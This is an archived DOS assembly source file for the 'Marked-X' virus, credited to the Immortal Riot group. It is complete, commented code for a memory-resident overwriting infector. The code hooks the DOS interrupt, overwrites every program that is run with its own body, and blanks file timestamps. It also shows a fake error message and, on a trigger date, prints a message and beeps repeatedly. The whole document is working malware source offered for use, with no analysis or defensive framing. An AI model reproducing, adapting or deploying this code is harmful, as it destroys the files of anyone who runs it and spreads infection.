home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / M.ZIP / MARKED-X.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  4KB  |  110 lines

  1. ; Virusname  : Marked-X
  2. ; Virusauthor: Metal Militia
  3. ; Virusgroup : Immortal Riot
  4. ; Origin     : Sweden
  5. ;
  6. ; It's a TSR, overwriting infector on files executed. If it's the
  7. ; twenty-first of any month it'll print a note and beep one thousand
  8. ; times. It also sets time/date to 00-00-00 so nothing will be shown
  9. ; in the fields when you take a "dir". It'll print a faked note when
  10. ; it goes into memory aswell saying they executed the file's not there.
  11. ; Urmm!.. Anyhow, enjoy Insane Reality #4!
  12. ;
  13. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  14. ;                 MARKED-X
  15. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  16.  
  17. virus    segment ; segment's and shit
  18.          assume cs:virus,ds:virus
  19.          org    100h
  20. start:   mov    ah,2ah
  21.          int    21h
  22.          cmp    dl,21
  23.          je     happy_happy_joy_joy
  24.  
  25.          mov    ah,9h    ; Print the faked
  26.          mov    dx,offset note ; note.. (bad commie or filename)
  27.          int    21h
  28.          jmp    makemegotsr
  29.  
  30. happy_happy_joy_joy:
  31.          mov    ah,9h             ; Print the virus note
  32.          mov    dx,offset society ; to show that we're here
  33.          int    21h
  34.  
  35.          mov    cx,1000           ; Print 1000
  36.          mov    ax,0e07h          ; "beep-letters"
  37. beeper:
  38.          int    10h               ; to screen
  39.          loop   beeper            ; (results in [ofcause] 1000 beepies)
  40.  
  41. makemegotsr:
  42.          jmp    tsrdata ; Celebrate! now put us as a TSR in memory
  43. new21:   pushf          ; Pushfar
  44.          cmp    ah,4bh ; Is a file being run?
  45.          jz     infect ; If so, infect it
  46.          jmp    short end21 ; If not, back to old int21 vector
  47.  
  48. infect:  mov    ax,4301h ; Set attrib's to zero, keines, finito
  49.          and    cl,0feh
  50.          int    21h
  51.  
  52.          mov    ax,3d02h ; Open file
  53.          int    21h
  54.          mov    bx,ax ; or.. xchg ax,bx.. but that doesn't work here
  55.          push   ax    ; Push all
  56.          push   bx
  57.          push   cx
  58.          push   dx
  59.          push   ds
  60.  
  61.          push   cs
  62.          pop    ds
  63.          mov    ax,4200h ; Move to beginning (?)
  64.          xor    cx,cx
  65.          cwd
  66.          int    21h
  67.          mov    cx,offset endvir-100h ; What to write
  68.          mov    ah,40h ; Write it
  69.          mov    dx,100h ; Offset start
  70.          int    21h
  71.          cwd          ; set date/time
  72.          xor    cx,cx ; to zero (00-00-00)
  73.  
  74.          mov    ax,5701h ; do that
  75.          int    21h
  76.  
  77.          mov    ah,3eh ; close file
  78.          int    21h
  79. x21:     pop    ds ; pop all
  80.          pop    dx
  81.          pop    cx
  82.          pop    bx
  83.          pop    ax
  84. end21:   popf      ; pop far
  85.          db     0eah ; Jmp far (?)
  86. old21    dw     0,0 ; Where to store the old INT21
  87. data     db     'Marked-X' ; Virus name
  88.          db     'Will we ever learn to talk with eachother?' ; Virus poem
  89.          db     '(c) Metal Militia/Immortal Riot' ; Virus author
  90. society  db     'In any country, prison is where society sends it''s',0dh,0ah
  91.          db     'failures, but in this country society itself is faily',0dh,0ah
  92.          db     '$' ; Information note
  93. note     db     'Bad command or filename',0dh,0ah
  94.          db     '$' ; Fake note
  95. tsrdata:
  96.          mov    ax,3521h ; Hook int21
  97.          int    21h
  98.          mov    word ptr cs:old21,bx ; Where to but it
  99.          mov    word ptr cs:old21+2,es
  100.          mov    dx,offset new21 ; Where's our to be called
  101.          mov    ax,2521h ; Fix it
  102.          int    21h
  103.          push   cs ; push it
  104.          pop    ds ; pop it
  105.          mov    dx,offset endvir ; Put all of us in memory
  106.          int    27h ; Do it, TSR (terminate & stay resident)
  107. endvir   label  byte ; End of file
  108. virus    ends
  109.          end    start
  110.